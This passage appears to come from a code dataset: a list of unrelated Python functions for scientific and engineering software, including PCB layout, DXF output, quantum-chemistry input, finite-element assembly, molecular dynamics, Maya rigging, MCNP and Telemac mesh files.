state[\"s_label\"] = \"C%d\" % no\n \n if len(self.connectors)>0:\n state = self.connectors[-1].get_state()\n state[\"s_pin\"] = no\n state[\"p_pin\"] = no\n state[\"s_label\"] = \"C%d\" % (no)\n else:\n if self.mount == self.MOUNT_THT:\n state[\"p_shape\"] = Con.SHAPE_HOLE\n elif self.mount == self.MOUNT_SMD:\n state[\"p_shape\"] = Con.SHAPE_PAD\n \n c = Con(no)\n c.set_state(state) \n \n self.sch_layers[\"pins\"].add(c.s_svg)\n self.pcb_layers[\"copper1\"].add(c.p_svg)\n self.connectors.append(c)","def defineBLOCKSECTION(f,layernamelist):\r\n feilinname_lineheight=2.5\r\n #note_lineheigh=4\r\n layercount=0\r\n feilin_name_pos=[70.0+globalconfig.CUTLINE_X_OFFSET,185.0+globalconfig.CUTLINE_Y_OFFSET]\r\n #note_pos=[190.0+globalconfig.CUTLINE_X_OFFSET,80.0+globalconfig.CUTLINE_Y_OFFSET]\r\n f.write(\"0\\nSECTION\\n2\\nBLOCKS\\n\") #绘制块定义\r\n f.write(\"0\\nBLOCK\\n8\\n0\\n2\\nROUND_1\\n70\\n0\\n10\\n0.0\\n20\\n0.0\\n30\\n0.0\\n\")\r\n f.write(\"0\\nPOLYLINE\\n8\\n0\\n5\\n3F\\n66\\n1\\n10\\n0.0\\n20\\n0.0\\n30\\n0.0\\n70\\n1\\n\")\r\n f.write(\"40\\n0.04\\n41\\n0.04\")\r\n f.write(\"\\n0\\nVERTEX\\n5\\n406\\n8\\n0\\n10\\n-0.02\\n20\\n0.0\\n30\\n0.0\\n42\\n1.0\")\r\n f.write(\"\\n0\\nVERTEX\\n5\\n407\\n8\\n0\\n10\\n0.02\\n20\\n0.0\\n30\\n0.0\\n42\\n1.0\\n0\\nSEQEND\\n5\\n408\\n8\\n0\\n\")\r\n f.write(\"0\\nENDBLK\\n5\\n43\\n8\\n0\\n\") \r\n \r\n for layername in layernamelist:\r\n layercount=layercount+1\r\n f.write(\"0\\nBLOCK\\n8\\n0\\n2\\n*U\"+str(layercount)+\"\\n\") \r\n f.write(\"70\\n1\\n10\\n0.0\\n20\\n0.0\\n30\\n0.0\\n\") \r\n f.write(\"0\\nTEXT\\n5\\n46\\n8\\n\"+layername+\"\\n6\\nCONTINUOUS\\n10\\n\"+str(feilin_name_pos[0])+\"\\n20\\n\"+str(feilin_name_pos[1])+\"\\n30\\n0.0\\n\")\r\n f.write(\"40\\n\"+str(feilinname_lineheight)+\"\\n1\\n\"+globalconfig.NAME_OF_FEILIN+\"-\"+layername+\"\\n0\\nENDBLK\\n5\\n47\\n8\\n\"+layername+\"\\n\")\r\n \r\n# layercount=layercount+1\r\n# f.write(\"0\\nBLOCK\\n8\\n0\\n2\\n*U\"+str(layercount)+\"\\n\") \r\n# f.write(\"70\\n1\\n10\\n0.0\\n20\\n0.0\\n30\\n0.0\\n\") \r\n# f.write(\"0\\nTEXT\\n5\\n46\\n8\\n\"+layername+\"\\n6\\nCONTINUOUS\\n10\\n\"+str(note_pos[0])+\"\\n20\\n\"+str(note_pos[1])+\"\\n30\\n0.0\\n\")\r\n# f.write(\"40\\n\"+str(note_lineheigh)+\"\\n1\\n\")\r\n# f.write(\"\")\r\n# f.write(\"\\n0\\nENDBLK\\n5\\n47\\n8\\n0\\n\") \r\n \r\n f.write(\"0\\nENDSEC\\n\")","def create_plate(num_wells, name):\n rows, cols = calc.rows_columns(int(num_wells))\n new_plate = plate.Plate(rows, cols, name)\n return new_plate","def __init__(self, name, type_name, thickness, grid_front_area, bundles_flow_area, grid_wetted_area, rods_wetted_at_grid_area, P_wet_at_grid, P_bundles, orientation):\n self.name = name\n self.type = type_name\n self.thickness = thickness\n self.length = self.thickness\n self.grid_front_area = grid_front_area\n self.bundles_flow_area = bundles_flow_area\n self.grid_wetted_area = grid_wetted_area\n self.rods_wetted_at_grid_area = rods_wetted_at_grid_area\n self.orientation = orientation\n self.P_wet_at_grid = P_wet_at_grid\n self.P_bundles = P_bundles","def format_molecule_for_cfour_old(self):\n\n text = ''\n text += 'auto-generated by qcdb from molecule %s\\n' % (self.tagline)\n\n# # append units and any other non-default molecule keywords\n# text += \" units %-s\\n\" % (\"Angstrom\" if self.units() == 'Angstrom' else \"Bohr\")\n# if not self.PYmove_to_com:\n# text += \" no_com\\n\"\n# if self.PYfix_orientation:\n# text += \" no_reorient\\n\"\n\n # append atoms and coordentries and fragment separators with charge and multiplicity\n Pfr = 0\n isZMat = False\n isCart = False\n for fr in range(self.nfragments()):\n if self.fragment_types[fr] == 'Absent' and not self.has_zmatrix():\n continue\n# text += \"%s %s%d %d\\n\" % (\n# \"\" if Pfr == 0 else \" --\\n\",\n# \"#\" if self.fragment_types[fr] == 'Ghost' or self.fragment_types[fr] == 'Absent' else \"\",\n# self.fragment_charges[fr], self.fragment_multiplicities[fr])\n Pfr += 1\n for at in range(self.fragments[fr][0], self.fragments[fr][1] + 1):\n if type(self.full_atoms[at]) == ZMatrixEntry:\n isZMat = True\n elif type(self.full_atoms[at]) == CartesianEntry:\n isCart = True\n if self.fragment_types[fr] == 'Absent':\n text += \"%s\" % (\"X\")\n elif self.fZ(at) or self.fsymbol(at) == \"X\":\n text += \"%s\" % (self.fsymbol(at))\n else:\n text += \"%s\" % (\"GH\") # atom info is lost + self.fsymbol(at) + \")\")\n text += \"%s\" % (self.full_atoms[at].print_in_input_format_cfour())\n text += \"\\n\"\n\n # append any coordinate variables\n if len(self.geometry_variables):\n for vb, val in self.geometry_variables.items():\n text += \"\"\"%s=%.10f\\n\"\"\" % (vb, val)\n text += \"\\n\"\n\n # prepare molecule keywords to be set as c-side keywords\n options = collections.defaultdict(lambda: collections.defaultdict(dict))\n options['CFOUR']['CFOUR_CHARGE']['value'] = self.molecular_charge()\n options['CFOUR']['CFOUR_MULTIPLICITY']['value'] = self.multiplicity()\n options['CFOUR']['CFOUR_UNITS']['value'] = self.units()\n if isZMat and not isCart:\n options['CFOUR']['CFOUR_COORDINATES']['value'] = 'INTERNAL'\n elif isCart and not isZMat:\n options['CFOUR']['CFOUR_COORDINATES']['value'] = 'CARTESIAN'\n else:\n raise ValidationError(\"\"\"Strange mix of Cartesian and ZMatrixEntries in molecule unsuitable for Cfour.\"\"\")\n\n return text, options","def __init__(\n self,\n name: str,\n createStepName: str,\n surface: Region,\n interactionProperty: str,\n mechanicalConstraint: SymbolicConstant = KINEMATIC,\n contactControls: str = \"\",\n ):\n super().__init__()\n pass","def create_from_bdf(\n cls,\n model,\n comm,\n nprocs,\n bdf_file,\n prefix=\"\",\n callback=None,\n struct_options={},\n thermal_index=-1,\n override_rotx=False,\n ):\n\n # Split the communicator\n world_rank = comm.Get_rank()\n if world_rank < nprocs:\n color = 1\n else:\n color = MPI.UNDEFINED\n tacs_comm = comm.Split(color, world_rank)\n\n assembler = None\n f5 = None\n Fvec = None\n if world_rank < nprocs:\n # Create the assembler class\n fea_assembler = pytacs.pyTACS(bdf_file, tacs_comm, options=struct_options)\n\n \"\"\"\n Automatically adds structural variables from the BDF / DAT file into TACS\n as long as you have added them with the same name in the DAT file.\n\n Uses a custom funtofem callback to create thermoelastic shells which are unavailable\n in pytacs default callback. And creates the DVs in the correct order in TACS based on DVPREL cards.\n \"\"\"\n\n # get dict of struct DVs from the bodies and structural variables\n # only supports thickness DVs for the structure currently\n structDV_dict = {}\n variables = model.get_variables()\n structDV_names = []\n\n # Get the structural variables from the global list of variables.\n struct_variables = []\n for var in variables:\n if var.analysis_type == \"structural\":\n struct_variables.append(var)\n structDV_dict[var.name.lower()] = var.value\n structDV_names.append(var.name.lower())\n\n # use the default funtofem callback if none is provided\n if callback is None:\n include_thermal = any(\n [\"therm\" in body.analysis_type for body in model.bodies]\n )\n callback = f2f_callback(\n fea_assembler, structDV_names, structDV_dict, include_thermal\n )\n\n # Set up constitutive objects and elements in pyTACS\n fea_assembler.initialize(callback)\n\n # get any constant loads for static case\n Fvec = addLoadsFromBDF(fea_assembler)\n # Fvec = None\n\n # Retrieve the assembler from pyTACS fea_assembler object\n assembler = fea_assembler.assembler\n\n # Set the output file creator\n f5 = fea_assembler.outputViewer\n\n # Create the output generator\n gen_output = TacsOutputGenerator(prefix, f5=f5)\n\n # get struct ids for coordinate derivatives and .sens file\n struct_id = None\n if assembler is not None:\n # get list of local node IDs with global size, with -1 for nodes not owned by this proc\n num_nodes = fea_assembler.meshLoader.bdfInfo.nnodes\n bdfNodes = range(num_nodes)\n local_tacs_ids = fea_assembler.meshLoader.getLocalNodeIDsFromGlobal(\n bdfNodes, nastranOrdering=False\n )\n\n \"\"\"\n the local_tacs_ids list maps nastran nodes to tacs indices with:\n local_tacs_ids[nastran_node-1] = local_tacs_id\n Only a subset of all tacs ids are owned by each processor\n note: tacs_ids in [0, #local_tacs_ids], #local_tacs_ids <= nnodes\n for nastran nodes not on this processor, local_tacs_id[nastran_node-1] = -1\n\n The next lines of code invert this map to the list 'struct_id' with:\n struct_id[local_tacs_id] = nastran_node\n\n This is then later used by funtofem_model.write_sensitivity_file method to write\n ESP/CAPS nastran_CAPS.sens files for the tacsAIM to compute shape derivatives\n \"\"\"\n\n # get number of non -1 tacs ids, total number of actual tacs_ids\n n_tacs_ids = len([tacs_id for tacs_id in local_tacs_ids if tacs_id != -1])\n\n # reverse the tacs id to nastran ids map since we want tacs_id => nastran_id - 1\n nastran_ids = np.zeros((n_tacs_ids), dtype=np.int64)\n for nastran_id_m1, tacs_id in enumerate(local_tacs_ids):\n if tacs_id != -1:\n nastran_ids[tacs_id] = int(nastran_id_m1 + 1)\n\n # convert back to list of nastran_ids owned by this processor in order\n struct_id = list(nastran_ids)\n\n # We might need to clean up this code. This is making educated guesses\n # about what index the temperature is stored. This could be wrong if things\n # change later. May query from TACS directly?\n if assembler is not None and thermal_index == -1:\n varsPerNode = assembler.getVarsPerNode()\n\n # This is the likely index of the temperature variable\n if varsPerNode == 1: # Thermal only\n thermal_index = 0\n elif varsPerNode == 4: # Solid + thermal\n thermal_index = 3\n elif varsPerNode >= 7: # Shell or beam + thermal\n thermal_index = varsPerNode - 1\n\n # Broad cast the thermal index to ensure it's the same on all procs\n thermal_index = comm.bcast(thermal_index, root=0)\n\n # Create the tacs interface\n return cls(\n comm,\n model,\n assembler,\n gen_output,\n thermal_index=thermal_index,\n struct_id=struct_id,\n tacs_comm=tacs_comm,\n override_rotx=override_rotx,\n Fvec=Fvec,\n )","def setup_system(filename):\n pdb = PDBFile(filename)\n forcefield = ForceField('amber14-all.xml', 'amber14/tip3pfb.xml')\n\n #box vectors from charmm-gui files:\n pdb.topology.setPeriodicBoxVectors((Vec3(5.75760367, 0.0, 0.0),\n Vec3(0, 5.75760367, 0.0),\n Vec3(0.0, 0.0, 6.0)))\n system = forcefield.createSystem(pdb.topology, nonbondedMethod=PME,\n nonbondedCutoff=1*nanometer, constraints=HBonds)\n barostat = MonteCarloMembraneBarostat(1*bar, 200*bar*nanometer, 300*kelvin,\n MonteCarloMembraneBarostat.XYIsotropic, MonteCarloMembraneBarostat.ZFree)\n system.addForce(barostat)\n print('Created system')\n return system, pdb","def New(*args, **kargs):\n obj = itkMeshSourcePSUC3.__New_orig__()\n import itkTemplate\n itkTemplate.New(obj, *args, **kargs)\n return obj","def createMesh(self, chem, coord_x_start, coord_y_start) :\r\n init_conc = .0\r\n self.compParDiff(chem)\r\n comp.Comp.createMeshHomo(self, 'SC', chem, init_conc, coord_x_start, coord_y_start)\r\n #self.meshes[0].setConc(1)\r","def create_simpleMesh(self, forceNew = True, skin = False,connect=True,reverseNormal = None,\n deleteHistory=False,loftMode = None ):#'evenCubic'\n _str_func = 'create_simpleMesh'\n log.debug(\"|{0}| >> forceNew: {1} | skin: {2} \".format(_str_func,forceNew,skin)+ '-'*80)\n log.debug(\"{0}\".format(self))\n \n if self.getMayaAttr('isBlockFrame'):\n log.debug(cgmGEN.logString_sub(_str_func,'blockFrame bypass'))\n return \n \n mParent = False\n #Check for existance of mesh ========================================================================\n if connect:\n bfr = self.msgList_get('simpleMesh',asMeta=True)\n if skin and bfr:\n log.debug(\"|{0}| >> simpleMesh detected...\".format(_str_func)) \n if forceNew:\n log.debug(\"|{0}| >> force new...\".format(_str_func)) \n mc.delete([mObj.mNode for mObj in bfr])\n else:\n return bfr\n if skin:\n mModuleTarget = self.getMessageAsMeta('moduleTarget')\n if not mModuleTarget:\n return log.error(\"|{0}| >> Must have moduleTarget for skining mode\".format(_str_func)) \n mPuppet = puppet_get(self,mModuleTarget)\n if not mPuppet:\n return log.error(\"|{0}| >> Must have puppet for skining mode\".format(_str_func))\n mGeoGroup = mPuppet.masterNull.geoGroup\n mParent = mGeoGroup\n log.debug(\"|{0}| >> mPuppet: {1}\".format(_str_func,mPuppet))\n log.debug(\"|{0}| >> mGeoGroup: {1}\".format(_str_func,mGeoGroup)) \n log.debug(\"|{0}| >> mModuleTarget: {1}\".format(_str_func,mModuleTarget))\n \n #BlockModule call? ====================================================================================\n mBlockModule = self.p_blockModule\n if mBlockModule.__dict__.has_key('create_simpleMesh'):\n log.debug(\"|{0}| >> BlockModule 'create_simpleMesh' call found...\".format(_str_func)) \n ml_mesh = mBlockModule.create_simpleMesh(self,skin=skin,parent=mParent,deleteHistory=deleteHistory)\n \n else:#Create ======================================================================================\n if not loftMode:\n if self.getEnumValueString('loftDegree') == 'cubic':\n loftMode = 'evenCubic'\n else:\n loftMode = 'evenLinear'\n \n \n kws = {}\n if self.blockType in ['limb']:\n if self.addLeverBase and self.getEnumValueString('addLeverBase') != 'joint' and skin:\n kws['skip'] = [0]\n \n ml_mesh = create_simpleLoftMesh(self,form=2,degree=None,divisions=2,deleteHistory=deleteHistory,loftMode=loftMode,**kws)\n \n \n #Get if skin data -------------------------------------------------------------------------------\n if skin:\n log.debug(\"|{0}| >> skinnable? ...\".format(_str_func)) \n ml_moduleJoints = mModuleTarget.rigNull.msgList_get('moduleJoints')\n if not ml_moduleJoints:\n return log.error(\"|{0}| >> Must have moduleJoints for skining mode\".format(_str_func))\n log.debug(\"|{0}| >> ml_moduleJoints: {1}\".format(_str_func,ml_moduleJoints)) \n\n md_parents = {}#We're going to un parent our joints before skinning and then reparent\n for i,mJnt in enumerate(ml_moduleJoints):\n md_parents[mJnt] = mJnt.getParent(asMeta=True)\n if i:mJnt.p_parent = ml_moduleJoints[i-1]\n \n\n log.debug(\"|{0}| >> skinning..\".format(_str_func))\n #l_joints= [mJnt.mNode for mJnt in ml_moduleJoints]\n for mMesh in ml_mesh:\n log.debug(\"|{0}| >> skinning {1}\".format(_str_func,mMesh))\n mMesh.p_parent = mParent\n \n MRSPOST.skin_mesh(mMesh,ml_moduleJoints)\n \n \"\"\"\n #mMesh.doCopyPivot(mGeoGroup.mNode)\n try:\n skin = mc.skinCluster (l_joints,\n mMesh.mNode,\n tsb=True,\n bm=2,\n wd=0,\n heatmapFalloff = 1,\n maximumInfluences = 2,\n normalizeWeights = 1, dropoffRate=5)\n except Exception,err:\n log.warning(\"|{0}| >> heat map fail: {1}.. | {2}\".format(_str_func,format(self.mNode),err))\n skin = mc.skinCluster (l_joints,\n mMesh.mNode,\n tsb=True,\n bm=0,\n maximumInfluences = 2,\n wd=0,\n normalizeWeights = 1,dropoffRate=10)\n skin = mc.rename(skin,'{0}_skinCluster'.format(mMesh.p_nameBase))\"\"\"\n \n #Reparent\n for i,mJnt in enumerate(ml_moduleJoints):\n mJnt.p_parent = md_parents[mJnt]\n #pprint.pprint(md_parents)\n if connect and ml_mesh:\n self.msgList_connect('simpleMesh',ml_mesh) \n return ml_mesh","def execute(self, fp):\n fp.Shape = Part.makeCompound(fp.Shape.Solids)","def create(self):\n # TODO: Properly validate data\n self._proj()\n if self.cfg.align_heading:\n self._align()\n self._griddata()\n if self.cfg.gap_filter[\"algorithm\"] != \"none\":\n self._gap_filter()","def ggpl_bone_structure(file_name):\n def planeStructure(beamSection, pillarSection, distancePillars, intersectHeights):\n fStructs = []\n \n \"\"\" createFinalStruct\n \n Questo metodo crea una pilastro senza travi\n \n @param startPoint: Il punto di intersezione del pilastro con la base del piano di lavoro\n @param height: L'altezza del pilastro\n @returns: Il pilastro\n \"\"\"\n def createFinalStruct(startPoint, height):\n pillar = CUBOID([pillarSection[0], pillarSection[1], height])\n return STRUCT([T(2)(startPoint), pillar])\n\n \"\"\" createFStruct\n \n Questo metodo crea la struttura portante con il pilastro e le travi di riferimento\n \n @param startPoint: Il punto di intersezione del pilastro con la base del piano di lavoro\n @param height: L'altezza del pilastro\n @param lengthBeam: La lunghezza delle travi\n @returns: Il pilastro\n \"\"\"\n def createFStruct(startPoint, height, lengthBeam):\n fStruct = []\n\n fStruct.append(createFinalStruct(startPoint, height))\n hPillar = 0\n for i in range(len(intersectHeights)):\n beam = CUBOID([beamSection[1], lengthBeam, beamSection[0]])\n hPillar += intersectHeights[i]\n fStruct.append(STRUCT([\n T(3)(hPillar),\n T(2)(pillarSection[1] + startPoint),\n beam\n ]))\n return STRUCT(fStruct)\n\n height = SUM(intersectHeights) + beamSection[1]\n\n startDistance = 0\n for iterator in range(len(distancePillars)):\n fStructs.append(createFStruct(startDistance, height, distancePillars[iterator]))\n\n startDistance = startDistance + pillarSection[1] + distancePillars[iterator]\n\n fStructs.append(createFinalStruct(startDistance, height))\n\n return STRUCT(fStructs)\n \n \"\"\" createTrasversalBeam\n \n Questa funzione crea le travi di collegamento tra una parete e l'altra\n \n @param beanSection: una tupla (bx,bz) che contiene la dimensione delle travi\n @param pillarSection: una tupla (px,py) che contiene la dimensione dei pilastri\n @param distancePillars: una lista di distanze relative tra un pilastro e l'altro\n @param intersectHeights: una lista di altezze relative che indicano la distranza tra una trave e l'altra sull'asse x\n @returns: la struttura base, che corrisponde ad una parete dell'edificio\n \"\"\"\n def createTrasversalBeam(distance, beamSection, pillarSection, distancePillars, intersectHeights):\n y = []\n for index in range(len(distancePillars)):\n y.append(pillarSection[1])\n y.append(- distancePillars[index])\n y.append(pillarSection[1])\n\n x = [\n - pillarSection[0],\n distance\n ]\n\n z = []\n for i in range(len(intersectHeights)):\n if i == 0:\n z.append(-intersectHeights[i])\n else:\n z.append(-intersectHeights[i] + beamSection[1])\n z.append(beamSection[1])\n\n return PROD([\n PROD([QUOTE(x), QUOTE(y)]),\n QUOTE(z)\n ])\n \n \"\"\" parseCSV\n \n Questo metodo prende in input un file_name che indica il file csv da parsare per avere le informazioni della struttura\n \n Argomenti:\n file_name (string): il file name del file csv\n \n Yields:\n transaction: il vettore di traslazione tra una parete e l'altra\n beanSection: una tupla (bx,bz) che contiene la dimensione delle travi\n pillarSection: una tupla (px,py) che contiene la dimensione dei pilastri\n distancePillars: una lista di distanze relative tra un pilastro e l'altro\n intersectHeights: una lista di altezze relative che indicano la distranza tra una trave e l'altra sull'asse x\n \"\"\"\n def parseCSV(file_name):\n odd = True\n transaction = None\n with open(file_name, 'rb') as csvfile:\n builderreader = csv.reader(csvfile)\n\n for row in builderreader:\n if odd:\n odd = False\n transaction = [float(row[0]), float(row[1]), float(row[2])]\n else:\n odd = True\n beamSection = [float(row[0]), float(row[1])]\n pillarSection = [float(row[2]), float(row[3])]\n\n distancePillars = []\n start_point = 5\n finish_point = int(row[4]) + start_point\n for index in range(start_point, finish_point):\n distancePillars.append(int(row[index]))\n\n intersectHeights = []\n start_point = finish_point + 1\n finish_point = int(row[finish_point]) + start_point\n for index in range(start_point, finish_point):\n intersectHeights.append(int(row[index]))\n\n yield transaction, beamSection, pillarSection, distancePillars, intersectHeights\n\n frames = []\n for transaction, beamSection, pillarSection, distancePillars, intersectHeights in parseCSV(file_name):\n frames.append(T(2)(transaction[1]))\n\n if transaction[0] != 0:\n frames.append(\n createTrasversalBeam(\n transaction[0], beamSection, pillarSection, distancePillars,intersectHeights\n )\n )\n\n frames.append(T([1, 3])([transaction[0], transaction[2]]))\n frames.append(\n planeStructure(beamSection, pillarSection, distancePillars, intersectHeights)\n )\n\n return STRUCT(frames)","def createComplejoPlatino(c_dict):\n\tnom = c_dict['nombre'].split()\n\tnom.insert(1, 'Platino')\n\tnombre = ' '.join(nom)\n\tc_dict['nombre'] = nombre\n\tc_dict['id_org'] = int(c_dict['id_org']) + 10000\n\tcreateComplejo(c_dict)","def _make_mcnp_input(self):\n # Create the problem description\n lines = ['Point source in infinite geometry']\n\n # Create the cell cards: material 1 inside sphere, void outside\n lines.append('c --- Cell cards ---')\n if self._temperature is not None:\n kT = self._temperature * K_BOLTZMANN * 1e-6\n lines.append(f'1 1 -{self.density} -1 imp:n=1 tmp={kT}')\n else:\n lines.append(f'1 1 -{self.density} -1 imp:n=1')\n lines.append('2 0 1 imp:n=0')\n lines.append('')\n\n # Create the surface cards: box centered on origin with 2e9 cm sides`\n # and reflective boundary conditions\n lines.append('c --- Surface cards ---')\n lines.append('*1 rpp -1.e9 1e9 -1.e9 1.e9 -1.e9 1.e9')\n lines.append('')\n\n # Create the data cards\n lines.append('c --- Data cards ---')\n\n # Materials\n if re.match('(71[0-6]nc)', self.suffix):\n name = szax(self.nuclide, self.suffix)\n else:\n name = zaid(self.nuclide, self.suffix)\n lines.append(f'm1 {name} 1.0')\n if self.thermal is not None:\n lines.append(f'mt1 {self.thermal}')\n lines.append('nonu 2')\n\n # Physics: neutron transport\n lines.append('mode n')\n\n # Source definition: isotropic point source at center of sphere\n energy = self.energy * 1e-6\n lines.append(f'sdef cel=1 erg={energy}')\n\n # Tallies: neutron flux over cell\n lines.append('f4:n 1')\n min_energy = self._min_energy * 1e-6\n lines.append(f'e4 {min_energy} {self._bins-1}ilog {1.0001*energy}')\n\n # Problem termination: number of particles to transport\n lines.append(f'nps {self.particles}')\n\n # Write the problem\n with open(self.other_dir / 'inp', 'w') as f:\n f.write('\\n'.join(lines))","def goify(self, layout=None):\n xx,yy,zz = self.getXYZ(layout)\n surf = dict(\n type='surface',\n x=xx,\n y=yy,\n z=zz\n )\n return surf","def __init__(self, name, geometry, envelope, typology, hvac,\n rc_model, comfort, internal_loads, age, solar, supply):\n\n self.name = name\n self.geometry = geometry\n self.geometry['floor_height'] = calc_floor_to_floor_height(self.geometry['height_ag'],\n self.geometry['floors_ag'])\n self.architecture = EnvelopeProperties(envelope)\n self.typology = typology # FIXME: rename to uses!\n self.hvac = hvac\n self.rc_model = rc_model\n self.comfort = comfort\n self.internal_loads = internal_loads\n self.age = age\n self.solar = SolarProperties(solar)\n self.supply = supply\n self.building_systems = self._get_properties_building_systems()","def generate_bnd(cli_file, geo_file, slf_file, bnd_file, varnames, varunits):\n\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n# ~~~~ cli+slf new mesh ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n if not path.exists(cli_file):\n raise TelemacException(\\\n '... the provided cli_file does not seem to exist:'\n ' {}\\n\\n'.format(cli_file))\n if not path.exists(geo_file):\n raise TelemacException(\\\n '... the provided geo_file does not seem to exist: '\n '{}\\n\\n'.format(geo_file))\n\n if len(varnames) != len(varunits):\n raise TelemacException(\\\n 'Not the same number of variables and units\\nvarnames: {}\\nvarunits: {}'\n '{}\\n\\n'.format(varnames, varunits))\n\n\n # Read the new CLI file to get boundary node numbers\n print(' +> getting hold of the Conlim file and of its liquid boundaries')\n cli = Conlim(cli_file)\n # Keeping only open boundary nodes\n bor = np.extract(cli.bor['lih'] != 2, cli.bor['n'])\n\n # Find corresponding (x,y) in corresponding new mesh\n print(' +> getting hold of the GEO file and of its bathymetry')\n geo = Selafin(geo_file)\n xys = np.vstack((geo.meshx[bor-1], geo.meshy[bor-1])).T\n _ = geo.get_variables_at(0,\\\n subset_variables_slf(\"BOTTOM: \", geo.varnames)[0])[0]\n\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n# ~~~~ slf existing res ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n if not path.exists(slf_file):\n raise TelemacException(\\\n '... the provided slf_file does not seem to exist: '\n '{}\\n\\n'.format(slf_file))\n slf = Selafin(slf_file)\n slf.set_kd_tree()\n slf.set_mpl_tri()\n\n print(' +> support extraction')\n # Extract triangles and weigths in 2D\n support2d = []\n ibar = 0\n pbar = ProgressBar(maxval=len(xys)).start()\n for xyi in xys:\n support2d.append(xys_locate_mesh(xyi, slf.ikle2, slf.meshx, slf.meshy,\n slf.tree, slf.neighbours))\n ibar += 1\n pbar.update(ibar)\n pbar.finish()\n # Extract support in 3D\n support3d = list(zip(support2d, len(xys)*[range(slf.nplan)]))\n\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n# ~~~~ writes BND header ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n bnd = Selafin('')\n bnd.fole = {}\n bnd.fole.update({'hook':open(bnd_file, 'wb')})\n bnd.fole.update({'name':bnd_file})\n bnd.fole.update({'endian':\">\"}) # big endian\n bnd.fole.update({'float':('f', 4)}) # single precision\n\n # Meta data and variable names\n bnd.title = ''\n bnd.nbv1 = len(varnames)\n # /!\\ ELEVATION has to be the first variable\n # (for possible vertical re-interpolation within TELEMAC)\n\n bnd.varnames = []\n bnd.varunits = []\n for var, unit in zip(varnames, varunits):\n new_var = var + (16-len(var))*\" \"\n new_unit = unit + (16-len(unit))*\" \"\n bnd.varnames.append(new_var)\n bnd.varunits.append(new_unit)\n\n bnd.nvar = bnd.nbv1\n bnd.varindex = range(bnd.nvar)\n\n # Sizes and mesh connectivity\n bnd.nplan = slf.nplan\n # Number of nodes per boundary element (ndp2 in 2D and ndp3 in 3D)\n bnd.ndp2 = 2\n bnd.ndp3 = 4\n bnd.npoin2 = len(bor)\n bnd.npoin3 = bnd.npoin2*slf.nplan\n bnd.iparam = [0, 0, 0, 0, 0, 0, bnd.nplan, 0, 0, 1]\n bnd.ipob2 = bor # /!\\ note that ipobo keeps the original numbering\n print(' +> masking and setting connectivity')\n # Set the array that only includes elements of geo.ikle2\n # with at least two nodes in bor\n array_1d = np.in1d(geo.ikle2, np.sort(bor-1))\n mask = geo.ikle2[np.where(np.sum(array_1d.reshape(geo.nelem2, geo.ndp2),\n axis=1) == 2)]\n # this ikle2 keeps the original numbering\n ikle2 = np.ravel(mask)[np.in1d(mask, np.sort(bor-1))].reshape(len(mask), 2)\n # ~~> re-numbering ikle2 as a local connectivity matrix\n knolg, _ = np.unique(np.ravel(ikle2), return_index=True)\n knogl = dict(zip(knolg, range(len(knolg))))\n bnd.ikle2 = - np.ones_like(ikle2, dtype=np.int)\n for k in range(len(ikle2)):\n # /!\\ bnd.ikle2 has a local numbering, fit to the boundary elements\n bnd.ikle2[k] = [knogl[ikle2[k][0]], knogl[ikle2[k][1]]]\n # Last few numbers\n bnd.nelem2 = len(bnd.ikle2)\n if slf.nplan > 1:\n bnd.nelem3 = bnd.nelem2*(slf.nplan-1)\n else:\n bnd.nelem3 = bnd.nelem2\n bnd.ndp3 = bnd.ndp2\n # 3D structures\n if slf.nplan > 1:\n bnd.ipob3 = np.ravel(np.add(np.repeat(bnd.ipob2, slf.nplan)\\\n .reshape((bnd.npoin2, slf.nplan)),\n bnd.npoin2*np.arange(slf.nplan)).T)\n bnd.ikle3 = \\\n np.repeat(bnd.npoin2*np.arange(slf.nplan-1),\n bnd.nelem2*bnd.ndp3)\\\n .reshape((bnd.nelem2*(slf.nplan-1), bnd.ndp3)) + \\\n np.tile(np.add(np.tile(bnd.ikle2, 2),\n np.repeat(bnd.npoin2*np.arange(2), bnd.ndp2)),\n (slf.nplan-1, 1))\n else:\n bnd.ipob3 = bnd.ipob2\n bnd.ikle3 = bnd.ikle2\n # Mesh coordinates\n bnd.meshx = geo.meshx[bor-1]\n bnd.meshy = geo.meshy[bor-1]\n\n print(' +> writing header')\n # Write header\n bnd.append_header_slf()\n\n# <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\n# ~~~~ writes BND core ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n print(' +> setting variables')\n # TIME and DATE extraction\n bnd.datetime = slf.datetime\n bnd.tags['times'] = slf.tags['times']\n # VARIABLE extraction\n list_var = varnames[0]+\": \"\n for var in varnames[1:]:\n list_var += \";\"+var+\": \"\n\n vrs = subset_variables_slf(list_var, slf.varnames)\n\n # Read / Write data, one time step at a time to support large files\n print(' +> reading / writing variables')\n pbar = ProgressBar(maxval=len(slf.tags['times'])).start()\n zeros = np.zeros((bnd.npoin3, 1), dtype=np.float)\n for itime in range(len(slf.tags['times'])):\n data = get_value_history_slf(slf.file, slf.tags, [itime], support3d,\n slf.nvar, slf.npoin3, slf.nplan, vrs)\n data = np.reshape(np.transpose(np.reshape(np.ravel(data),\n (bnd.nvar, bnd.npoin2,\n bnd.nplan)),\n (0, 2, 1)),\n (bnd.nvar, bnd.npoin3))\n bnd.append_core_time_slf(itime)\n bnd.append_core_vars_slf(data)\n pbar.update(itime)\n pbar.finish()\n\n # Close bnd_file\n bnd.fole['hook'].close()","def CreateDummy3DMeshfrom2DMesh(self):\n\n self.__do_memebers_exist__()\n\n sys.stdout = open(os.devnull, \"w\")\n\n p = self.InferPolynomialDegree()\n mm = Mesh()\n if self.element_type == \"quad\":\n mm.element_type = \"hex\"\n mm.elements = np.zeros((1,int((p+1)**3))).astype(np.uint64)\n elif self.element_type == \"tri\":\n mm.element_type = \"tet\"\n mm.elements = np.zeros((1,int((p+1)*(p+2)*(p+3)/6))).astype(np.uint64)\n else:\n raise 